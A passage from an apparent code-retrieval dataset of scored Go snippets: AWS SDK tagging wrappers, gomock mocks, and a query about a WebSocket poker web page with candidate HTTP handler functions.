c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "a13a11330de82d6e4cc1d887d097d62e", "score": "0.54437727", "text": "func (c *Appflow) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "e0260e846a4b5acd538cfcd27ede7cbb", "score": "0.54369", "text": "func (c *MedicalImaging) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "eb6ce7043dddafe1cfe732175f583398", "score": "0.543525", "text": "func (c *Panorama) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "b64b9820940b553f504b42e32c7994a9", "score": "0.5414908", "text": "func (c *AuditManager) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "e19e40b3384754e9705245007148af8e", "score": "0.5407319", "text": "func (c *CodePipeline) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "407758a580b652a2f44993b423361d4a", "score": "0.540365", "text": "func (c *PrometheusService) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "bf712b9c354701b28bfe8bdc0a5eddef", "score": "0.5364525", "text": "func (c *QLDB) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "e56ecd0da85fef75b6469bfe8f2e5133", "score": "0.535377", "text": "func (m *MockSSMAPI) AddTagsToResourceWithContext(arg0 context.Context, arg1 *ssm.AddTagsToResourceInput, arg2 ...request.Option) (*ssm.AddTagsToResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"AddTagsToResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*ssm.AddTagsToResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "998c7024999256a1abd7bc884e716ad1", "score": "0.5328159", "text": "func (c *AppIntegrationsService) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "d5481a182ad7129489e811da69fb2b20", "score": "0.52897847", "text": "func (m *MockCloudFormationAPI) DescribeStackResourceWithContext(arg0 aws.Context, arg1 *cloudformation.DescribeStackResourceInput, arg2 ...request.Option) (*cloudformation.DescribeStackResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"DescribeStackResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*cloudformation.DescribeStackResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "18a891c6bc7d89cd3e056852a865daf4", "score": "0.52697515", "text": "func (c *CloudHSM) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "769d023a6d03eeb799b70e7e938f8c2e", "score": "0.52651894", "text": "func (c *SNS) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "3a19329e313592d39d2c71df2b40a3f8", "score": "0.5237372", "text": "func (mr *MockSSMAPIMockRecorder) RemoveTagsFromResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"RemoveTagsFromResourceWithContext\", reflect.TypeOf((*MockSSMAPI)(nil).RemoveTagsFromResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "fa8b6083f4c728af9a5c430f1543366f", "score": "0.52254874", "text": "func (c *IAM) TagInstanceProfileWithContext(ctx aws.Context, input *TagInstanceProfileInput, opts ...request.Option) (*TagInstanceProfileOutput, error) {\n\treq, out := c.TagInstanceProfileRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "b9363a208634fd194d458281586f1ffe", "score": "0.51819146", "text": "func (c *WorkDocs) GetResourcesWithContext(ctx aws.Context, input *GetResourcesInput, opts ...request.Option) (*GetResourcesOutput, error) {\n\treq, out := c.GetResourcesRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "7c8c0f408e90c925559a5c2ef74e4ba9", "score": "0.5157573", "text": "func (mr *MockKMSAPIMockRecorder) ListResourceTagsWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ListResourceTagsWithContext\", reflect.TypeOf((*MockKMSAPI)(nil).ListResourceTagsWithContext), varargs...)\n}", "title": "" }, { "docid": "ed38765259a31ef2df2416fec8f05104", "score": "0.50599855", "text": "func (c *DatabaseMigrationService) ListTagsForResourceWithContext(ctx aws.Context, input *ListTagsForResourceInput, opts ...request.Option) (*ListTagsForResourceOutput, error) {\n\treq, out := c.ListTagsForResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "1bc4bb5ad1aadecc54bc8ff8d95f896e", "score": "0.49916503", "text": "func (c *IAM) TagRoleWithContext(ctx aws.Context, input *TagRoleInput, opts ...request.Option) (*TagRoleOutput, error) {\n\treq, out := c.TagRoleRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "1b4d02467e9bc18a6891547d4d806b40", "score": "0.49629745", "text": "func (mr *MockSSMAPIMockRecorder) AddTagsToResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"AddTagsToResourceWithContext\", reflect.TypeOf((*MockSSMAPI)(nil).AddTagsToResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "fb1049b28c8aa05fb844882e41eb64fd", "score": "0.49172652", "text": "func (c *ARCZonalShift) GetManagedResourceWithContext(ctx aws.Context, input *GetManagedResourceInput, opts ...request.Option) (*GetManagedResourceOutput, error) {\n\treq, out := c.GetManagedResourceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "ea4a813f6efd5333165adc77472c8904", "score": "0.49048015", "text": "func (mr *MockCloudFormationAPIMockRecorder) DescribeStackResourcesWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"DescribeStackResourcesWithContext\", reflect.TypeOf((*MockCloudFormationAPI)(nil).DescribeStackResourcesWithContext), varargs...)\n}", "title": "" }, { "docid": "0210e087c248555f585a990d9b95a922", "score": "0.48493275", "text": "func (c *IAM) TagOpenIDConnectProviderWithContext(ctx aws.Context, input *TagOpenIDConnectProviderInput, opts ...request.Option) (*TagOpenIDConnectProviderOutput, error) {\n\treq, out := c.TagOpenIDConnectProviderRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "564b52650c8669fb43fd29b2aeb6daf2", "score": "0.47776464", "text": "func (c *IAM) TagSAMLProviderWithContext(ctx aws.Context, input *TagSAMLProviderInput, opts ...request.Option) (*TagSAMLProviderOutput, error) {\n\treq, out := c.TagSAMLProviderRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "6db0fba09001b5901b19a4b8feadcc45", "score": "0.47391188", "text": "func (mr *MockCloudFormationAPIMockRecorder) SignalResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"SignalResourceWithContext\", reflect.TypeOf((*MockCloudFormationAPI)(nil).SignalResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "24488731e321a9b55849c78952924e1d", "score": "0.47366115", "text": "func (m *MockS3API) GetObjectTaggingWithContext(arg0 context.Context, arg1 *s3.GetObjectTaggingInput, arg2 ...request.Option) (*s3.GetObjectTaggingOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetObjectTaggingWithContext\", varargs...)\n\tret0, _ := ret[0].(*s3.GetObjectTaggingOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "c966c10b26e0328bca066168b3406769", "score": "0.4702522", "text": "func (m *MockShield) ListTagsForResourceWithContext(arg0 context.Context, arg1 *shield.ListTagsForResourceInput, arg2 ...request.Option) (*shield.ListTagsForResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ListTagsForResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*shield.ListTagsForResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "28590d4a6dcb6fe4419c21b13816c344", "score": "0.4691551", "text": "func (c *IAM) ListServerCertificateTagsWithContext(ctx aws.Context, input *ListServerCertificateTagsInput, opts ...request.Option) (*ListServerCertificateTagsOutput, error) {\n\treq, out := c.ListServerCertificateTagsRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "bb8fed48cab03dd7c147167e6f44226d", "score": "0.4668419", "text": "func (c *Client) TagResource(input *TagResourceInput) (*TagResourceOut, error) {\n\tif input == nil {\n\t\tinput = new(TagResourceInput)\n\t}\n\n\tvar output = new(TagResourceOut)\n\thttpResponse, err := c.sendRequest(input, http.MethodPost)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\toutput.Header = httpResponse.Header()\n\tjson.Unmarshal(httpResponse.Body(), output)\n\treturn output, nil\n}", "title": "" }, { "docid": "8eeceb2601293c2831ed50600d546169", "score": "0.46475974", "text": "func (m *MockCloudFormationAPI) DescribeStackResourcesWithContext(arg0 aws.Context, arg1 *cloudformation.DescribeStackResourcesInput, arg2 ...request.Option) (*cloudformation.DescribeStackResourcesOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"DescribeStackResourcesWithContext\", varargs...)\n\tret0, _ := ret[0].(*cloudformation.DescribeStackResourcesOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "8bd846075b4a368fdc3be7b17fb6e6fb", "score": "0.46449488", "text": "func (c *IAM) TagUserWithContext(ctx aws.Context, input *TagUserInput, opts ...request.Option) (*TagUserOutput, error) {\n\treq, out := c.TagUserRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "d98c8a13f3d4ad5fd973155a2f4cab11", "score": "0.4637121", "text": "func (c *Schemas) GetResourcePolicyWithContext(ctx aws.Context, input *GetResourcePolicyInput, opts ...request.Option) (*GetResourcePolicyOutput, error) {\n\treq, out := c.GetResourcePolicyRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "26f06648f9c8689a07d6995802d85275", "score": "0.46271336", "text": "func (c *AlexaForBusiness) ListTagsWithContext(ctx aws.Context, input *ListTagsInput, opts ...request.Option) (*ListTagsOutput, error) {\n\treq, out := c.ListTagsRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "1a37d445e6b1dfe8de465087f07cacb4", "score": "0.46099925", "text": "func (c *XRay) PutResourcePolicyWithContext(ctx aws.Context, input *PutResourcePolicyInput, opts ...request.Option) (*PutResourcePolicyOutput, error) {\n\treq, out := c.PutResourcePolicyRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "f3fb511d9fae4454e74174d0ffcace0a", "score": "0.46060398", "text": "func (c *Schemas) PutResourcePolicyWithContext(ctx aws.Context, input *PutResourcePolicyInput, opts ...request.Option) (*PutResourcePolicyOutput, error) {\n\treq, out := c.PutResourcePolicyRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "ffe6af63384a8db799e2b9da573631ef", "score": "0.4605878", "text": "func (c *IAM) TagMFADeviceWithContext(ctx aws.Context, input *TagMFADeviceInput, opts ...request.Option) (*TagMFADeviceOutput, error) {\n\treq, out := c.TagMFADeviceRequest(input)\n\treq.SetContext(ctx)\n\treq.ApplyOptions(opts...)\n\treturn out, req.Send()\n}", "title": "" }, { "docid": "cec725d47989e744428d74617f40de2a", "score": "0.45872018", "text": "func (_e *LambdaApi_Expecter) TagResource(_a0 interface{}) *LambdaApi_TagResource_Call {\n\treturn &LambdaApi_TagResource_Call{Call: _e.mock.On(\"TagResource\", _a0)}\n}", "title": "" }, { "docid": "1744173d62b2661f96379d38ac8d6ac3", "score": "0.4566437", "text": "func (_m *CloudFormationAPI) DescribeStackResourceWithContext(_a0 context.Context, _a1 *cloudformation.DescribeStackResourceInput, _a2 ...request.Option) (*cloudformation.DescribeStackResourceOutput, error) {\n\t_va := make([]interface{}, len(_a2))\n\tfor _i := range _a2 {\n\t\t_va[_i] = _a2[_i]\n\t}\n\tvar _ca []interface{}\n\t_ca = append(_ca, _a0, _a1)\n\t_ca = append(_ca, _va...)\n\tret := _m.Called(_ca...)\n\n\tvar r0 *cloudformation.DescribeStackResourceOutput\n\tif rf, ok := ret.Get(0).(func(context.Context, *cloudformation.DescribeStackResourceInput, ...request.Option) *cloudformation.DescribeStackResourceOutput); ok {\n\t\tr0 = rf(_a0, _a1, _a2...)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*cloudformation.DescribeStackResourceOutput)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context, *cloudformation.DescribeStackResourceInput, ...request.Option) error); ok {\n\t\tr1 = rf(_a0, _a1, _a2...)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "ba9cb1b4d05b404aaf805dcbc3b49a09", "score": "0.4541332", "text": "func (s *TagFilter) SetTag(v string) *TagFilter {\n\ts.Tag = &v\n\treturn s\n}", "title": "" }, { "docid": "d7f1d2a6470ccc6c5dfc6e15b2c3a551", "score": "0.45270014", "text": "func (pip *InfoPoint) GetResourceContext(ctx context.Context, resource string) (enforcer.Context, error) {\n\treq, err := http.NewRequest(\"GET\", pip.url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := pip.cli.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif res.StatusCode != http.StatusOK {\n\t\treturn nil, fmt.Errorf(\"Unexpected status code %q from %q\", res.Status, pip.url)\n\t}\n\n\tvar c enforcer.Context\n\tif err := json.NewDecoder(res.Body).Decode(&c); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c, nil\n}", "title": "" }, { "docid": "1e44e2c94809adb2034a558fabd9de0f", "score": "0.45224866", "text": "func (o *GetTagsParams) WithContext(ctx context.Context) *GetTagsParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "de7a15f660bade196770abcb8e7e7e89", "score": "0.4509579", "text": "func (m *MockShield) UntagResourceWithContext(arg0 context.Context, arg1 *shield.UntagResourceInput, arg2 ...request.Option) (*shield.UntagResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"UntagResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*shield.UntagResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "5c36c0b5e59abcc4a800477fb7580e20", "score": "0.44934988", "text": "func (m *MockECSAPI) ListTagsForResourceWithContext(arg0 context.Context, arg1 *ecs.ListTagsForResourceInput, arg2 ...request.Option) (*ecs.ListTagsForResourceOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ListTagsForResourceWithContext\", varargs...)\n\tret0, _ := ret[0].(*ecs.ListTagsForResourceOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "5e3bbfd59080a8f3bfbc8059c794f644", "score": "0.44783235", "text": "func (mr *MockKMSAPIMockRecorder) UntagResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UntagResourceWithContext\", reflect.TypeOf((*MockKMSAPI)(nil).UntagResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "2c9a59846d7e0743484642145751b342", "score": "0.4477842", "text": "func (o *GetHPCResourceParams) WithContext(ctx context.Context) *GetHPCResourceParams {\n\to.SetContext(ctx)\n\treturn o\n}", "title": "" }, { "docid": "89b33415330f9d6756cf7963073f9e7f", "score": "0.44737697", "text": "func (mr *MockShieldMockRecorder) UntagResourceWithContext(arg0, arg1 interface{}, arg2 ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{arg0, arg1}, arg2...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UntagResourceWithContext\", reflect.TypeOf((*MockShield)(nil).UntagResourceWithContext), varargs...)\n}", "title": "" }, { "docid": "75c3c8e8bf2add0df2524efe0ab31123", "score": "0.44482186", "text": "func (m *MockS3API) GetBucketTaggingWithContext(arg0 context.Context, arg1 *s3.GetBucketTaggingInput, arg2 ...request.Option) (*s3.GetBucketTaggingOutput, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GetBucketTaggingWithContext\", varargs...)\n\tret0, _ := ret[0].(*s3.GetBucketTaggingOutput)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" } ]
c657825c2cae431d11f91f09eda7c3a6
The product owner is thrilled with the command line application but would prefer it if we could bring that functionality to the browser. She imagines a web page with a text box that allows the user to enter the number of players and when they submit the form the page displays the blind value and automatically updates it when appropriate. Like the command line application the user can declare the winner and it'll get saved in the database. On the face of it, it sounds quite simple but as always we must emphasise taking an iterative approach to writing software. First of all we will need to serve HTML. So far all of our HTTP endpoints have returned either plaintext or JSON. We could use the same techniques we know (as they're all ultimately strings) but we can also use the html/template package for a cleaner solution. We also need to be able to asynchronously send messages to the user saying The blind is now y without having to refresh the browser. We can use WebSockets to facilitate this. WebSocket is a computer communications protocol, providing fullduplex communication channels over a single TCP connection Given we are taking on a number of techniques it's even more important we do the smallest amount of useful work possible first and then iterate. For that reason the first thing we'll do is create a web page with a form for the user to record a winner. Rather than using a plain form, we will use WebSockets to send that data to our server for it to record.
[ { "docid": "25beccfb0bcb7829d358650bd62ddc54", "score": "0.5287744", "text": "func (ps *PlayerServer) webSocket(w http.ResponseWriter, r *http.Request) {\n\tws := NewWwebSocket(w, r)\n\n\tplayersMsg := ws.WaitForMsg()\n\tnumber, err := strconv.Atoi(playersMsg)\n\tif err != nil {\n\t\thttp.Error(w, fmt.Sprintf(\"invalid vaue for number (%s) of players %s\", playersMsg, err.Error()), http.StatusInternalServerError)\n\t\treturn\n\t}\n\tps.game.Start(number, ws) //ioutil.Discard)\n\n\twinnerMsg := ws.WaitForMsg()\n\tps.game.Finish(winnerMsg)\n}", "title": "" } ]
[ { "docid": "28939d82ddc1ed1296799dc14182eb44", "score": "0.5724204", "text": "func (serv *Endpoints) SubmitWinner(w http.ResponseWriter, r *http.Request) {\n\twinners, ok := r.URL.Query()[\"winner\"]\n\n\tif !ok || len(winners[0]) < 1 {\n\t\tlog.Println(\"Url Param 'winner' is missing\")\n\t\treturn\n\t}\n\n\tlosers, ok := r.URL.Query()[\"loser\"]\n\n\tif !ok || len(losers[0]) < 1 {\n\t\tlog.Println(\"Url Param 'losers' is missing\")\n\t\treturn\n\t}\n\n\twinnerID := winners[0]\n\tloserID := losers[0]\n\n\tserv.recordVictory(winnerID, loserID)\n}", "title": "" }, { "docid": "8e1c70af2731b880299c6adc6d6969ff", "score": "0.5154925", "text": "func opened(w http.ResponseWriter, r *http.Request) {\n c := appengine.NewContext(r)\n\n // Make sure the table is in the database here and provide the entire state\n // to the user of what is going on right now.\n // The user needs to know.\n // users and their points.\n // current puzzles associated with game.\n // current words found in the puzzle.\n g := defaultGame()\n tableKey := r.FormValue(\"g\")\n c.Infof(\"Got a message from a client that they connected to a table: %v\", tableKey)\n token := r.FormValue(\"t\")\n userExists := false\n err := datastore.RunInTransaction(c, func(c appengine.Context) error {\n k := datastore.NewKey(c, \"WrGame\", tableKey, 0, nil)\n if err := datastore.Get(c, k, g); err != nil {\n c.Infof(\"We have never entered this game into the database. Should have one already!!!\")\n return err\n }\n // Now write this user to the list of connect users to this table.\n user := r.FormValue(\"u\")\n userExists = g.AddUserToken(user, token)\n if userExists {\n c.Infof(\"User %v already exists, replacing their token.\", user)\n }\n if _, err := datastore.Put(c, k, g); err != nil {\n return err\n }\n // Update user count for lounge.\n return nil\n }, nil)\n\n /*\n if !userExists {\n // Update the lounge with the number of current players for this table.\n // when a new player was added.\n lounge := r.FormValue(\"l\")\n loungeChanger := func(l *MyLounge) bool {\n // TODO(dlluncor): In the middle of something will need to resolve this later...\n return true\n }\n ChangeLounge(c, lounge, loungeChanger)\n }\n */\n\n if err != nil {\n c.Errorf(\"Error in db with connect to table. %v\", err)\n return\n }\n\n g.SetNow() // Let users who jump in randomly to figure out what time it is from\n // when the last round started.\n resp := &Resp{\n Action: \"join\",\n Payload: g,\n }\n c.Infof(\"Notifying these tokens that a user entered: %v\", g.GetUserTokens())\n // Let everyone know that they joined the game!\n for _, token := range g.GetUserTokens() {\n err := channel.SendJSON(c, token, resp)\n if err != nil {\n c.Errorf(\"sending Start game updates: %v\", err)\n }\n }\n}", "title": "" }, { "docid": "1ecec284b52dfbd07233f7bf2c35ec31", "score": "0.51281106", "text": "func Index(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintf(w, \"Ping pong, hello there!\")\n}", "title": "" }, { "docid": "a58f425447ef506444da6e3837a38dad", "score": "0.50935674", "text": "func handler(w http.ResponseWriter, r *http.Request) {\n\tmsg := \"Hello, I'm your webserver today!!!\\nMy name is, %s.\\n\"\n\tquery := r.URL.Query()\n\tsleepTime := 0\n\tsleepTimeStr := \"\"\n\tcycles := 0\n\tcyclesStr := \"\"\n\n\tif serverName == \"\" {\n\t\tmsg = fmt.Sprintf(msg, \"uhhhh...yeah, I forgot.\")\n\t} else {\n\t\tmsg = fmt.Sprintf(msg, serverName)\n\t}\n\n\tif sleepTimeStr = query.Get(\"sleepTime\"); sleepTimeStr != \"\" {\n\t\tsleepTimeC, err := strconv.Atoi(sleepTimeStr)\n\t\tsleepTime = sleepTimeC\n\t\tif sleepTime < 0 || err != nil {\n\t\t\tlog.Print(\"sleepTime Err non-null\")\n\t\t\tsleepTime = 0\n\t\t}\n\t}\n\n\tif cyclesStr = query.Get(\"cycles\"); cyclesStr != \"\" {\n\t\tcyclesC, err := strconv.Atoi(cyclesStr)\n\t\tcycles = cyclesC\n\t\tif cycles < 0 || err != nil {\n\t\t\tcycles = 0\n\t\t}\n\t}\n\n\tcomputeBomb(cycles)\n\ttime.Sleep(time.Duration(sleepTime) * time.Millisecond)\n\tmsg += \"I've slept \" + strconv.Itoa(sleepTime) + \" milliseconds.\\n\"\n\tmsg += \"I've computed \" + strconv.Itoa(cycles) + \" times.\\n\"\n\tmsg += \"Goodbye!\\n\"\n\tw.Header().Set(\"Content-Type\", \"text/plain; charset=utf-8\")\n\tio.WriteString(w, msg)\n}", "title": "" }, { "docid": "e1827510a8620f7a2b2d5d3749f9a565", "score": "0.49980253", "text": "func main(){\n\n\t//We need some random data before.\n\tquoteNo := rand.Intn(len(quotesArr)-1) + 0\n\twelcome := Welcome{\"Anonymous\",time.Now().Format(time.Stamp),quotesArr[quoteNo]}\n\n\t//We will tell go where it can find our HTML file.\n\ttemplates := template.Must(template.ParseFiles(\"templates/welcome-template.html\"))\n\t//Our HTML comes with CSS, that go needs to provide when we run the application.\n\t//We basically have to show the static folder too from here.\n\thttp.Handle(\"/static/\",http.StripPrefix(\"/static/\",http.FileServer(http.Dir(\"static\"))))\n\n\thttp.HandleFunc(\"/\",func(res http.ResponseWriter,req *http.Request){\n\t\tif name := req.FormValue(\"name\"); name != \"\" {\n\t\t\twelcome.Name = name\n\t\t}\n\t\twelcome.Time = time.Now().Format(time.Stamp)\n\t\twelcome.QuoteToShow = quotesArr[rand.Intn(len(quotesArr)-1)]\n\t\t//If the error is not equal to nil, it means some problem occurred.\n\t\tif err := templates.ExecuteTemplate(res,\"welcome-template.html\",welcome); err != nil {\n\t\t\thttp.Error(res,err.Error(),http.StatusInternalServerError)\n\t\t}\n\t})\n\n\tfmt.Println(\"Listening!!\")\n\tlog.Fatal(http.ListenAndServe(\"0.0.0.0:5000\",nil))\n\n}", "title": "" }, { "docid": "9afa3b387a9ceab3c40d7218d6f00cf6", "score": "0.49972314", "text": "func main() {\n\tf := lever.New(\"rps-go\", nil)\n\tf.Add(lever.Param{Name: \"--port\", Default: \"8080\"})\n\tf.Parse()\n\tvar err error\n\tstatsPool, err = pool.New(\"tcp\", \"localhost:6379\", 10)\n\tif err != nil {\n\t\tllog.Error(\"Error getting redis pool\", llog.KV{\"error\": err})\n\t}\n\n\tport, _ := f.ParamStr(\"--port\")\n\tcompetitorChannel := make(chan Competitor)\n\tgo matchmaker(competitorChannel)\n\thttp.HandleFunc(\"/rock\", rpsHandler(Rock, competitorChannel))\n\thttp.HandleFunc(\"/paper\", rpsHandler(Paper, competitorChannel))\n\thttp.HandleFunc(\"/scissors\", rpsHandler(Scissors, competitorChannel))\n\thttp.ListenAndServe(\":\"+port, nil)\n}", "title": "" }, { "docid": "24675c3c5e61574f1ee116bcd054f6ec", "score": "0.49950573", "text": "func main() {\n\n\tsocket := 